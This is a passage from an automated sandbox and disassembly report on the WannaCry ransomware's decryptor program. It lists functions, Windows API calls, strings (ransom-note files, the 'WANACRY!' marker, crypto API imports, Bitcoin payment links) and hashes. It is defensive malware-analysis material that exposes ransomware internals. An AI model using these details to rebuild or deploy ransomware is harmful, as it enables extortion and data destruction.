                                        • #3092.MFC42(000003FC,?,776120C0,?), ref: 0040719A
                                        • SendMessageA.USER32(?,00000030,?,00000001), ref: 004071B3
                                        • #3092.MFC42(00000400,?,776120C0,?), ref: 004071BC
                                        • SendMessageA.USER32(?,00000030,?,00000001), ref: 004071D5
                                        • #3092.MFC42(000003FA,?,776120C0,?), ref: 004071DE
                                        • SendMessageA.USER32(?,00000030,?,00000001), ref: 004071F3
                                        • #3092.MFC42(00000402,?,776120C0,?), ref: 004071FC
                                        • SendMessageA.USER32(?,00000030,?,00000001), ref: 00407215
                                        • #3092.MFC42(000003EF,?,776120C0,?), ref: 0040721E
                                        • SendMessageA.USER32(?,00000030,?,00000001), ref: 00407237
                                        • #3092.MFC42(000003EB,?,776120C0,?), ref: 00407240
                                        • SendMessageA.USER32(?,00000030,?,00000001), ref: 00407259
                                        • #3092.MFC42(000003EC,?,776120C0,?), ref: 00407262
                                        • SendMessageA.USER32(?,00000030,?,00000001), ref: 00407277
                                        • #860.MFC42(?,?,776120C0,?), ref: 00407288
                                        • #537.MFC42(https://en.wikipedia.org/wiki/Bitcoin,?,?,?,776120C0,?), ref: 004072F9
                                        • #537.MFC42(https://www.google.com/search?q=how+to+buy+bitcoin,?,?,?,?,776120C0,?), ref: 00407315
                                        • #540.MFC42(?,?,?,?,776120C0,?), ref: 00407329
                                        • #2818.MFC42(?,mailto:%s,?,?,?,?,?,776120C0,?), ref: 0040734A
                                        • #535.MFC42(?), ref: 0040735D
                                        • #2818.MFC42(?,http://www.btcfrog.com/qr/bitcoinPNG.php?address=%s,00000000), ref: 00407385
                                        • #535.MFC42(?), ref: 00407398
                                          • Part of subcall function 00404210: #858.MFC42(?,?,00413788,000000FF), ref: 00404235
                                          • Part of subcall function 00404210: #800.MFC42(?,?,00413788,000000FF), ref: 00404246
                                        • SendMessageA.USER32(?,00000406,00000000,00000064), ref: 004073B8
                                        • SendMessageA.USER32(?,00000406,00000000,00000064), ref: 004073CA
                                        • #6140.MFC42(00000002,000000FF), ref: 004073D6
                                        • #6140.MFC42(00000002,000000FF,00000002,000000FF), ref: 004073FF
                                          • Part of subcall function 00405860: GetClientRect.USER32(?,?), ref: 0040587E
                                          • Part of subcall function 00405860: #6197.MFC42(00000000,00000000,00000000,?,?,00000002), ref: 004058A5
                                          • Part of subcall function 004058C0: GetClientRect.USER32(?,?), ref: 004058DE
                                          • Part of subcall function 004058C0: #6197.MFC42(00000000,00000000,00000000,?,?,00000002), ref: 00405905
                                          • Part of subcall function 00405180: _mbscmp.MSVCRT ref: 00405191
                                          • Part of subcall function 00405180: #860.MFC42(?), ref: 004051A1
                                          • Part of subcall function 00405180: RedrawWindow.USER32(?,00000000,00000000,00000121), ref: 004051DE
                                          • Part of subcall function 00405180: InvalidateRect.USER32(?,00000000,00000001), ref: 004051F2
                                        • GetTimeZoneInformation.KERNEL32(?,0000000B,00000001,0000000B,00000001,00000002,000000FF,00000002,000000FF), ref: 004074DA
                                          • Part of subcall function 00401E60: VariantTimeToSystemTime.OLEAUT32(?), ref: 00401E7B
                                        • SystemTimeToTzSpecificLocalTime.KERNEL32(?,?,?), ref: 00407520
                                        • #2818.MFC42(?,%d/%d/%d %02d:%02d:%02d,?,?,?,?,?,?), ref: 0040756E
                                        • SystemTimeToTzSpecificLocalTime.KERNEL32(?,?,?), ref: 004075AD
                                        • #2818.MFC42(?,%d/%d/%d %02d:%02d:%02d,?,?,?,?,?,?), ref: 004075FB
                                        • #6334.MFC42(00000000), ref: 00407607
                                        • #800.MFC42 ref: 0040761B
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #1641CreateMessageSend$#3092$BrushSolid$Time$#2818$FontRectSystem$#535#537#6140#6197#800#860ClientLocalSpecific$#540#6334#858InformationInvalidateRedrawVariantWindowZone_mbscmptime
                                        • String ID: %d/%d/%d %02d:%02d:%02d$00;00;00;00$Arial$http://www.btcfrog.com/qr/bitcoinPNG.php?address=%s$https://en.wikipedia.org/wiki/Bitcoin$https://www.google.com/search?q=how+to+buy+bitcoin$mailto:%s
                                        • API String ID: 28786460-3869059234
                                        • Opcode ID: 566e78bac420e29277e274eb052adce88cec53491b2e7cfac5d24ca603e09d5b
                                        • Instruction ID: 980e8df72422c457d288d06354c1d21c6ecb0c69e0d4732a7e3947204bb0ebed
                                        • Opcode Fuzzy Hash: 566e78bac420e29277e274eb052adce88cec53491b2e7cfac5d24ca603e09d5b
                                        • Instruction Fuzzy Hash: DB02D3B0344705ABD624EB61CC92FBF339AAFC4B04F00452DF2566B2D1DEB8B5058B99
                                        Function 004026B0 Relevance: 54.6, APIs: 26, Strings: 5, Instructions: 318fileCOMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 0040C8F0: #823.MFC42(00000018,0040BB62,00000000,00000000), ref: 0040C8F2
                                        • swprintf.MSVCRT ref: 00402728
                                        • FindFirstFileW.KERNEL32(?,?,00000000), ref: 0040273E
                                        • #825.MFC42(?,?,?,?), ref: 0040276F
                                          • Part of subcall function 00402E00: #825.MFC42(?,?,00000000,?,?,0040276A,?,?,?), ref: 00402E44
                                        • #825.MFC42(?), ref: 004027A5
                                        • wcscmp.MSVCRT ref: 004027E1
                                        • wcscmp.MSVCRT ref: 004027FB
                                        • swprintf.MSVCRT(?,%s\%s,?,?), ref: 00402822
                                        • GetFileAttributesW.KERNEL32(?), ref: 00402830
                                        • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000000,?,?), ref: 00402863
                                        • wcslen.MSVCRT ref: 0040286E
                                        • ?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z.MSVCP60(?,00000000), ref: 0040287D
                                        • ?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z.MSVCP60(00000001), ref: 00402957
                                        • FindNextFileW.KERNEL32(?,?), ref: 0040296A
                                        • FindClose.KERNEL32(?), ref: 0040297D
                                          • Part of subcall function 00402E00: #825.MFC42(?,?,00000000,?,?,0040276A,?,?,?), ref: 00402E56
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: #825$FileFindG@2@@std@@G@std@@U?$char_traits@V?$allocator@$Tidy@?$basic_string@swprintfwcscmp$#823?assign@?$basic_string@AttributesCloseFirstNextV12@wcslen
                                        • String ID: %s\%s$%s\*$@Please_Read_Me@.txt$@WanaDecryptor@.bmp$@WanaDecryptor@.exe.lnk
                                        • API String ID: 1037557366-268640142
                                        • Opcode ID: 32ebf1ff4900e8d1210108902f6386b15b456ebd42ad9138ad297bcaaa466a3d
                                        • Instruction ID: 208863b35b678a93ee2eb357de9df0ae1c195017ff787e099a5ee1d1e2129eec
                                        • Opcode Fuzzy Hash: 32ebf1ff4900e8d1210108902f6386b15b456ebd42ad9138ad297bcaaa466a3d
                                        • Instruction Fuzzy Hash: 48C163B16083419FC720DF64CD84AEBB7E8ABD8304F44492EF595A3291E778E944CF66
                                        Function 004020A0 Relevance: 45.9, APIs: 25, Strings: 1, Instructions: 359filetimeCOMMON
                                        Download Yara Rule
                                        APIs
                                        • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00402127
                                        • GetFileTime.KERNEL32(00000000,?,?,?), ref: 00402159
                                        • ReadFile.KERNEL32(00000000,00000000,00000008,?,00000000), ref: 0040216E
                                        • ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 004021A5
                                        • ReadFile.KERNEL32(00000000,?,00000100,?,00000000), ref: 004021DC
                                        • ReadFile.KERNEL32(00000000,?,00000004,?,00000000), ref: 004021FA
                                        • ReadFile.KERNEL32(00000000,?,00000008,?,00000000), ref: 00402218
                                        • CloseHandle.KERNEL32(00000000), ref: 00402234
                                        • CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,00000000,00000000), ref: 0040224D
                                        • SetFilePointer.KERNEL32(00000000,FFFF0000,00000000,00000002), ref: 00402274
                                        • ReadFile.KERNEL32(00000000,?,00010000,?,00000000), ref: 00402289
                                        • _local_unwind2.MSVCRT ref: 00402452
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: File$Read$Create$CloseHandlePointerTime_local_unwind2
                                        • String ID: WANACRY!
                                        • API String ID: 1586634678-1240840912
                                        • Opcode ID: 63e6b81c02b622754e2b3234a9462f2b9f42a26c1b415cc7ac48913855c751cb
                                        • Instruction ID: 3da7a8628a1c4a9b72cf23ccbc301ae3d1bdd94b5a24a93ab77a4db798f2c342
                                        • Opcode Fuzzy Hash: 63e6b81c02b622754e2b3234a9462f2b9f42a26c1b415cc7ac48913855c751cb
                                        • Instruction Fuzzy Hash: 91D14471A00214AFDB20DB64CC89FEBB7B8FB88710F14466AF619B61D0D7B49945CF68
                                        Function 004035A0 Relevance: 36.2, APIs: 24, Instructions: 175windowclipboardmemoryCOMMON
                                        Download Yara Rule
                                        APIs
                                        • SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004035DB
                                        • OpenClipboard.USER32(?), ref: 004035E9
                                        • SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00403609
                                        • #3301.MFC42(?,00000000,00000000), ref: 0040361A
                                        • #924.MFC42 ref: 00403635
                                        • #800.MFC42 ref: 00403646
                                        • #800.MFC42 ref: 00403665
                                        • SendMessageA.USER32(?,00001004,00000000,00000000), ref: 0040367B
                                        • GlobalAlloc.KERNEL32(00000002,-00000002), ref: 00403687
                                        • GlobalLock.KERNEL32(00000000), ref: 0040369C
                                        • GlobalFree.KERNEL32(00000000), ref: 004036AB
                                        • SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004036C8
                                        • #3301.MFC42(?,00000000,00000000), ref: 004036E7
                                        • #924.MFC42(00000000), ref: 00403702
                                        • #800.MFC42(00000000), ref: 00403713
                                        • MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000167,00000000), ref: 00403748
                                        • wcslen.MSVCRT ref: 00403753
                                        • wcslen.MSVCRT ref: 0040377B
                                        • #800.MFC42 ref: 00403797
                                        • SendMessageA.USER32(?,00001004,00000000,00000000), ref: 004037B1
                                        • GlobalUnlock.KERNEL32(00000000), ref: 004037CE
                                        • EmptyClipboard.USER32 ref: 004037D4
                                        • SetClipboardData.USER32(0000000D,00000000), ref: 004037DD
                                        • CloseClipboard.USER32 ref: 004037E3
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: MessageSend$#800ClipboardGlobal$#3301#924wcslen$AllocByteCharCloseDataEmptyFreeLockMultiOpenUnlockWide
                                        • String ID:
                                        • API String ID: 3405503685-0
                                        • Opcode ID: 8830a6fbde82a0506a617069f42227a829ac694ec6c697a23238cf2d660267b9
                                        • Instruction ID: c86228cefcec1f34603e32cf9825c4429cf2ad1f23db843e272d7cdac5f24a66
                                        • Opcode Fuzzy Hash: 8830a6fbde82a0506a617069f42227a829ac694ec6c697a23238cf2d660267b9
                                        • Instruction Fuzzy Hash: 0151E571204706ABD320DF64DC45FEBB7A8FB88754F10462DF249A72D0DB749909CBAA
                                        Function 00403CB0 Relevance: 28.1, APIs: 11, Strings: 5, Instructions: 122filewindowCOMMON
                                        Download Yara Rule
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: Find$FileMessageSend$#823CloseFirstNextfclosefopenfreadsprintfsscanf
                                        • String ID: %08X.res$*.res$My Computer$\$\
                                        • API String ID: 1476605332-298172004
                                        • Opcode ID: 99fd15f447f3da050df03d5058de6a248e15196228ca27483cd35190e75cfc9e
                                        • Instruction ID: 8c176cb2dc152f679f03352499a178afa0a04d74b0fbd326e0cc20a81f44b8b1
                                        • Opcode Fuzzy Hash: 99fd15f447f3da050df03d5058de6a248e15196228ca27483cd35190e75cfc9e
                                        • Instruction Fuzzy Hash: F741C671508300ABE710CB54DC45FEB7799EFC4715F404A2DF984A62C1E7B8EA498B9A
                                        Function 00404B70 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 62libraryloaderCOMMON
                                        Download Yara Rule
                                        APIs
                                        • LoadLibraryA.KERNEL32(advapi32.dll,?,00402C46), ref: 00404B86
                                        • GetProcAddress.KERNEL32(00000000,CryptAcquireContextA), ref: 00404BA3
                                        • GetProcAddress.KERNEL32(00000000,CryptImportKey), ref: 00404BB0
                                        • GetProcAddress.KERNEL32(00000000,CryptDestroyKey), ref: 00404BBD
                                        • GetProcAddress.KERNEL32(00000000,CryptEncrypt), ref: 00404BCA
                                        • GetProcAddress.KERNEL32(00000000,CryptDecrypt), ref: 00404BD7
                                        • GetProcAddress.KERNEL32(00000000,CryptGenKey), ref: 00404BE4
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: AddressProc$LibraryLoad
                                        • String ID: CryptAcquireContextA$CryptDecrypt$CryptDestroyKey$CryptEncrypt$CryptGenKey$CryptImportKey$advapi32.dll
                                        • API String ID: 2238633743-2459060434
                                        • Opcode ID: 76a5095adcaff83da50827021ea7e3f960384e315c05d83dddbeb63d2a682abb
                                        • Instruction ID: 00e3496518ad86b0ae3e163ac91477e164a9cb94f9785d2b2dfdbbcf4affa7e0
                                        • Opcode Fuzzy Hash: 76a5095adcaff83da50827021ea7e3f960384e315c05d83dddbeb63d2a682abb
                                        • Instruction Fuzzy Hash: 441182B074635196D738AB67FD14AA726D4EFE1B01B85053BE401D3AB0C7B888028A9C
                                        Function 00407E80 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 67fileCOMMON
                                        Download Yara Rule
                                        APIs
                                        • SHGetFolderPathW.SHELL32(00000000,00000000,00000000,00000000,?), ref: 00407EE6
                                        • wcslen.MSVCRT ref: 00407EF4
                                        • swprintf.MSVCRT(?,%s\%s,?,@WanaDecryptor@.bmp), ref: 00407F20
                                        • MultiByteToWideChar.KERNEL32(00000000,00000000,b.wnry,000000FF,?,00000103), ref: 00407F41
                                        • CopyFileW.KERNEL32(?,?,00000000), ref: 00407F56
                                        • SystemParametersInfoW.USER32(00000014,00000000,?,00000001), ref: 00407F67
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: ByteCharCopyFileFolderInfoMultiParametersPathSystemWideswprintfwcslen
                                        • String ID: %s\%s$@WanaDecryptor@.bmp$b.wnry
                                        • API String ID: 13424474-2236924158
                                        • Opcode ID: 620144e10b90fbdcf7842e1a5c35e3d362372363debefcfb0e035a8d8bd61632
                                        • Instruction ID: 08a18ced9c3675786ff634b79335ab73d5ba80fa93599351ce40df3d96d25247
                                        • Opcode Fuzzy Hash: 620144e10b90fbdcf7842e1a5c35e3d362372363debefcfb0e035a8d8bd61632
                                        • Instruction Fuzzy Hash: 7E21F075204304BAE36087A4CC05FE773AAAFD4700F508938B359961E1EAB16154875B
                                        Function 004067F0 Relevance: 13.6, APIs: 9, Instructions: 71windowCOMMON
                                        Download Yara Rule
                                        APIs
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: MetricsSystem$#2379#470#755ClientDrawIconIconicMessageRectSend
                                        • String ID:
                                        • API String ID: 1397574227-0
                                        • Opcode ID: 20468fef4cef0cbb853e64829a62b01e3e2dab64e042f5102f0909ab1ddc92c1
                                        • Instruction ID: db6533e43e067d2e1cb08ff7c7a85c8aaf9a8b82d3d45c58550572c7a5875683
                                        • Opcode Fuzzy Hash: 20468fef4cef0cbb853e64829a62b01e3e2dab64e042f5102f0909ab1ddc92c1
                                        • Instruction Fuzzy Hash: 45117F712146069FC214DF38DD49DEBB7E9FBC8304F488A2DF58AC3290DA74E8058B95
                                        Function 0040B3C0 Relevance: 12.2, APIs: 8, Instructions: 203COMMON
                                        Download Yara Rule
                                        APIs
                                        • ??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040B3D9
                                        • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B3E9
                                        • ??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040B4D8
                                        • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B4E8
                                        • ??0exception@@QAE@ABQBD@Z.MSVCRT(004213A8), ref: 0040B5A5
                                        • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B5B5
                                        • ??0exception@@QAE@ABQBD@Z.MSVCRT(004213AC), ref: 0040B60B
                                        • _CxxThrowException.MSVCRT(?,0041C9C0), ref: 0040B61B
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: ??0exception@@ExceptionThrow
                                        • String ID:
                                        • API String ID: 941485209-0
                                        • Opcode ID: 1e9378705d9ba196d58f13d3cc7227803daa0403281f32e8405f41cd2aefe311
                                        • Instruction ID: 0dbcc5357461fba905cfbac0272349747bc27b8ce320a87ccfe5983878451c5e
                                        • Opcode Fuzzy Hash: 1e9378705d9ba196d58f13d3cc7227803daa0403281f32e8405f41cd2aefe311
                                        • Instruction Fuzzy Hash: 7A61D5316043158BC705DE2998919ABB7E6FFC8704F04497EFC89BB345C738AA06CB99
                                        Function 00407C30 Relevance: 12.0, APIs: 8, Instructions: 48clipboardmemoryCOMMON
                                        Download Yara Rule
                                        APIs
                                        • OpenClipboard.USER32(?), ref: 00407C38
                                        • GlobalAlloc.KERNEL32(00000002,?), ref: 00407C4F
                                        • CloseClipboard.USER32 ref: 00407C5B
                                        • EmptyClipboard.USER32 ref: 00407C66
                                        • GlobalLock.KERNEL32(00000000), ref: 00407C79
                                        • GlobalUnlock.KERNEL32(00000000), ref: 00407C92
                                        • SetClipboardData.USER32(00000001,00000000), ref: 00407C9B
                                        • CloseClipboard.USER32 ref: 00407CA1
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: Clipboard$Global$Close$AllocDataEmptyLockOpenUnlock
                                        • String ID:
                                        • API String ID: 142981918-0
                                        • Opcode ID: 93754508b4dfef54d9d98e8e63777799f1bb11e1cbd450fa109b80c0f9b4831a
                                        • Instruction ID: 8252ba06fde5d142781bbccc432981ef86be9671d894a3679d09edf034c0945c
                                        • Opcode Fuzzy Hash: 93754508b4dfef54d9d98e8e63777799f1bb11e1cbd450fa109b80c0f9b4831a
                                        • Instruction Fuzzy Hash: 1D014B71740A05DFD714ABA5EC8DAFBB7A9FB88356B908079F54AC3350CF61AC048B64
                                        Function 004047C0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 154encryptionstringCOMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 004046B0: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000018,F0000000,?,?,0040484E), ref: 004046CD
                                          • Part of subcall function 004049B0: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004049F5
                                          • Part of subcall function 004049B0: GetFileSize.KERNEL32(00000000,00000000), ref: 00404A0B
                                          • Part of subcall function 004049B0: _local_unwind2.MSVCRT ref: 00404AC7
                                        • CryptEncrypt.ADVAPI32(?,00000000,00000001,00000000,00000000,?,00000200), ref: 004048DB
                                        • _local_unwind2.MSVCRT ref: 004048EB
                                        • CryptDecrypt.ADVAPI32(?,00000000,00000001,00000000,00000000,?), ref: 00404920
                                        • strncmp.MSVCRT(00000000,?), ref: 00404951
                                        • _local_unwind2.MSVCRT ref: 00404964
                                        Strings
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896369524.0000000000423000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_31_2_400000_@WanaDecryptor@.jbxd
                                        Similarity
                                        • API ID: Crypt_local_unwind2$File$AcquireContextCreateDecryptEncryptSizestrncmp
                                        • String ID: TESTDATA
                                        • API String ID: 154225373-1607903762
                                        • Opcode ID: 20c9666a7ffcf9d4be304aa18a7e829ae4cc28ed87e3f3fd2989e324c574ec42
                                        • Instruction ID: 12943b98363484da7d263465f98eb3331ab271d68fc45af0c4cd497e7be75c93
                                        • Opcode Fuzzy Hash: 20c9666a7ffcf9d4be304aa18a7e829ae4cc28ed87e3f3fd2989e324c574ec42
                                        • Instruction Fuzzy Hash: 21512DB6600218ABCB24CB64DC45BEBB7B4FB98320F10477DF915A72C1EB749A44CB94
                                        Function 004049B0 Relevance: 10.6, APIs: 7, Instructions: 107fileCOMMON
                                        Download Yara Rule
                                        APIs
                                        • CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004049F5
                                        • GetFileSize.KERNEL32(00000000,00000000), ref: 00404A0B
                                        • _local_unwind2.MSVCRT ref: 00404AC7
                                        Memory Dump Source
                                        • Source File: 0000001F.00000002.5895687512.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 0000001F.00000002.5895506600.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5895891546.0000000000415000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896069022.000000000041F000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                        • Associated: 0000001F.00000002.5896223024.0000000000421000.00000004.00000001.01000000.0000000B.sdmpDownload File
